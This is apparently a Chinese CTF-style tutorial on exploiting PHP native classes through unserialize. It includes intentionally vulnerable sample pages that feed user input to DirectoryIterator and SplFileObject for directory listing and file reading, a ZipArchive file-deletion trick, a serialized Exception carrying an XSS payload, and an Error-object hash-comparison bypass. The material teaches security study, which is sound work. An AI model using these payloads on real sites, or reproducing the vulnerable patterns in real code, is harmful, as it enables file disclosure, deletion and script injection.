原生类的简要介绍以及原生类和反序列化的关系
PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库,相当于代码中的内置方法例如echo ,print等等可以直接调用,但是原生类就是可以就直接php中直接创建的类,我们可以直接调用创建对象,但是这些类中有的会有魔术方法,为此,我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
?>
利用这个代码我们可以获取php中的原生类和其中包括的魔术方法
ps:不同版本的PHP其中包含的原生类不同,为了使用到较全的php原生类,建议将php的版本调到7.0以上
<?php
highlight_file(__file__);
$dir=$_GET['cmd'];
$a=new DirectoryIterator($dir);
foreach ($a as $f){
echo($f->__toString().'<br>');
}
?>
使用DirectoryIterator()类可以遍历目录下的文件名,例如我们将cmd传入./就会查看到当前目录下的文件
同理使用../可以查看上级目录下的文件
使用绝对路径亦可以查看服务器指定目录下的文件目录
<?php
highlight_file(__file__);
$file=$_GET['f'];
$context = new SplFileObject($file);
foreach($context as $f){
echo($f);
}
?>
利用SplFileObject()进行文件内容的读取
利用ZipArchive()进行文件删除
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
?>
通过文件的提示可以看出文件已经被删除
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = unserialize($_GET['a']);
echo $a;
这个案例中只有一个反序列化和一个输出操作,echo操作可以想到__toString()方法:将一个对象实例被当成字符串时触发
?<?php
$a = new Exception("<script>alert('demo')</script>");//创建一个Exception对象
$b = serialize($a);
echo urlencode($b);
?>
使用Exception对象,将其输出的话就会输出Exception里面的内容,我们将其改为跨站语句就可以执行跨站代码
我们可以创建一个Error方法进行利用,然后将其中的内容换为跨站语句即可执行跨站代码
利用Error饶过hash比较
<?php
highlight_file(__FILE__);
$a = new Error("null",1);echo $a;$b = new Error("null",2);echo $b;
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b)){
echo "Success!";
}
?>
$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。 Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。?
结果展示
PHP中原生类还有很多,其中也有很多方式可以利用,本文只介绍了最简单的几种利用方法。
如有错误,请及时指出,感谢